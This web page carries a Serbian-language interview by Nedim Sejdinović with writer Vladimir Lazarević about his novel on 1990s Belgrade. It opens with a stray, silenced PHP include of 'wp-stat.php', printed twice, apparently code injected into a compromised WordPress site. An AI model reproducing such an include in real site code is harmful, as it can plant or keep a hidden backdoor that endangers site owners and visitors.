@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); VLADIMIR LAZAREVIĆ, KNJIŽEVNIK: Supersonično tumaranje kroz Srbiju devedesetih – Nedim Sejdinović

VLADIMIR LAZAREVIĆ, KNJIŽEVNIK: Supersonično tumaranje kroz Srbiju devedesetih

Mada je već relativno dugo prisutan u našoj književnosti, prozaista i prevodilac Vladimir Lazarević (1966) tek je nedavno objavio svoj prvi roman i, po mišljenju mnogih, pogodio «pravo u sridu». «Supersonično tumaranje» govori o generaciji mladih Beograđana koji su se tokom tragi(komi)čnih 90-ih susreli sa potpunim raspadom društva i svih vrednosti, i koji u vremenu nove tehnološke revolucije supersonično tumaraju u potrazi za vlastitim identitetom, pokušavajući se izvući iz balkanskog kala.

Pošto tumaranje nije prestalo, odtumarajte do knjižare i biblioteke, uzmite ovu knjigu i pročitajte… Nećete se pokajati. Ovaj intervju neka vam bude predgovor.

Roman “Supersonično tumaranje” svakako nije tipičan produkt srpske književnosti, koja pati od turobnih metafizičkih dubina, u koje upadaju i promoderni i protradicionalni autori. Temama ozbiljnim, i još uvek itekako aktuelnim, prilaziš sa relaksirajućom ironijom, baš kao što to rade neki savremeni, recimo britanski autori. U koji korpus književnosti bi smestio vlastito delo?

– Pišući roman “Supersonično tumaranje” želeo sam da napišem knjigu koja će u isto vreme biti moderna i tradicionalna (ali nikako ne i staromodna). Kad kažem “tradicionalna”, onda mislim na činjenicu da se roman proteže na čitavih dvadeset godina u životu glavnog junaka, i da se taj prelazak iz tinejdžerskih godina u rano srednje doba odvija na fonu dramatičnih socijalnih i političkih gibanja. U tom smislu, ovo je roman o odrastanju, a to je, kao što znamo, oduvek bila velika tema književnosti. S druge strane, ovo je ultramoderni roman iz najmanje dva razloga. Najpre, u njemu sve vrvi od referenci iz ikonosfere popularne kulture i kontrakulture, počev od savremenog pozorišta, preko slikarstva i filma, pa do rokenrola, pa čak i sporta. Ponekad te digresije poprimaju i oblik svojevrsnih mikro-eseja. Osim toga, “Supersonično tumaranje” se može čitati i kao roman o pisanju romana, s tim što ovde nije u pitanju onaj oveštali postmodernistički kod koji je do svog ekstrema doveden u delima Donalda Bartelmija, Tomasa Pinčona, Džona Barta i Roberta Kuvera. Jednostavno, želeo sam da pokažem kako od slučajnih čulnih utisaka (sećate li se Prustovih madlenica?) i slobodnih asocijacija nastaje proza. Zbog toga drugo i prvi deo trećeg poglavlja romana poseduju ogledalsku simetriju, međusobno se odnose kao lik i odraz: građa i napisano se prepliću i prožimaju, omogućavajući čitaocima da sami odaberu svoju verziju zapleta. Neki će biti ubeđeni da je moj junak uspeo da zbriše u Kanadu i da odatle piše svoj roman o Beogradu, a oni drugi će misliti da je on ipak ostao ovde i da samo mašta o tome kako, pun dolara, sedi na drugom kraju sveta, u nekom udobnom projektantskom birou.

Da li će mračni period od kraja osamdesetih do naših dana i dalje biti izvor tema za tvoje delo ili si ovim romanom zaokružio svoj odnos prema tim godinama?

– Mislim da sam ovim romanom završio sa opisivanjem perioda Miloševićeve vladavine. Bar bih voleo da bude tako. Suviše je depresivno prisećati se. Dovoljno smo vremena proveli šetajući beogradskim ulicama, lupajući u šerpe i duvajući u pištaljke da bismo sada iznova i iznova pisali o tome. Bojim se da onima koji boluju od kratkog pamćenja nikakva knjiga ne može pomoći.

Šta je sa onim što književni kritičari vele: da je vremenska distanca neophodna za pisanje o određenom dobu? Da li je to samo fraza? Ili bi, nasuprot, svi morali prema takvom periodu, kao što su bile naše devedesete, da se odrede?

– Ponekad je vremenska distanca dobrodošla kako bi se utisci i sećanja slegli. A ponekad se, opet, bolji rezultati postižu kad pišeš “na prvu loptu”. To je pitanje tehnike pisanja. Ko može da kaže da su, recimo, Singerova dela bolja od Apdajkovih zbog toga što su pisana sa istorijske distance, dok Apdajk u najvećem broju svojih knjiga obrađuje socijalnu tematiku trenutka u kojem živi?

Vreme o kojem govorimo je bilo toliko dramatično i bremenito sudbonosnim preokretima i tragedijama da se, čini mi se, nije moglo obuhvatiti jednim trenutnim pogledom, bar kad je književnost u pitanju. Što se tiče potrebe da se svi “odrede prema tom periodu”, smatram da to nije nimalo težak zadatak – stvari su bile i suviše jasne, medijska manipulacija i suviše providna, tako da je svako ko je držao do sebe i ko je imao imalo mozga u glavi bio protiv tadašnje vlasti. Zbog toga se i ne treba busati svojim “antirežimskim angažmanom”, što kako primećujem, i dan-danas na sva usta čine ovdašnji “intelektualci”, niti od tog angažmana treba praviti mit. Antirežimski stav je bio stvar dobrog ukusa, pa čak i zdravog razuma. Danas je, međutim, situacija malo kompleksnija. Stvari više nisu crno-bele (zlobnici bi rekli da sada živimo u nijansama sive).

U centru tvog romana je i Beograd, kao i kultura jedne zemlje koja se bespovratno urušava u sebe. Da li možeš da nam kažeš, kao svedok i saučesnik, u čemu je razlika između Beograda osamdesetih, Beograda iz suludih devedesetih i Beograda danas?

– Da, Beograd je jedan od velikih junaka mojih romana, na isti onaj način na koji je to kod Itala Kalvina Torino, ili kod Bukovskog Los Anđeles. To je jednostavno moralo biti tako, s obzirom na to da sam čitav život proveo na njegovim ulicama.

Nisam nostalgičan, tako da neću reći da je osamdesetih Beograd bio ne znam koliko glamurozan i kosmopolitski grad, niti ću pričati bajke o ludim žurkama i o sjajnim bendovima, kakvi se nikada kasnije nisu pojavili. Možda je trebalo na duže vreme da odem iz Beograda kako bih otkrio njegove čari. Uglavnom, ja pamtim (išao sam u jednu novobeogradsku gimnaziju) oficirsku decu koja nose “talijanke” i slušaju novi romatizam. Pamtim brdo diletantskih, pozerskih bendova i žurke na kojima se sve završavalo starogradskom muzikom. U vreme kad sam počeo intenzivnije da izlazim, SKC je već počinjao da gubi značaj koji je imao početkom decenije. Neka energija i euforija (sa svim dobrim i lošim stranama urbanog snobizma) svakako su postojale, a devedesetih je, kao što svi znamo, sve to proterano pod zemlju. Mnogi sve to nisu izdržali, i više nisu među nama. Sada se ovaj grad polako budi, otvaraju se novi klubovi, a ni stranci više nisu takva egzotika kao nekada…

Za kraj, šta sada pišeš i prevodiš, šta možemo uskoro očekivati iz tvoje “radionice”?

– Trenutno završavam zbirku priča koja će se zvati “Četvrto lice jednine”. Biće to knjiga koja predstavlja organski produžetak moje prve zbirke priča “Zatamnjenje”. U prvoj knjizi sam priče poređao tako da se one mogu čitati i kao roman o gašenju pripovedačkog jezika, o prelasku iz eufonije u nemuštu buku, a ovog puta će proces možda biti obrnut: od nemuštosti do sklada. Istovremeno sam započeo i novi roman. Ostaviću čitaoce u neizvesnosti i neću otkriti detalje sižea i teme, ali obećavam da će ovaj roman mnogo ranije ugledati svetlost dana nego prethodni.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.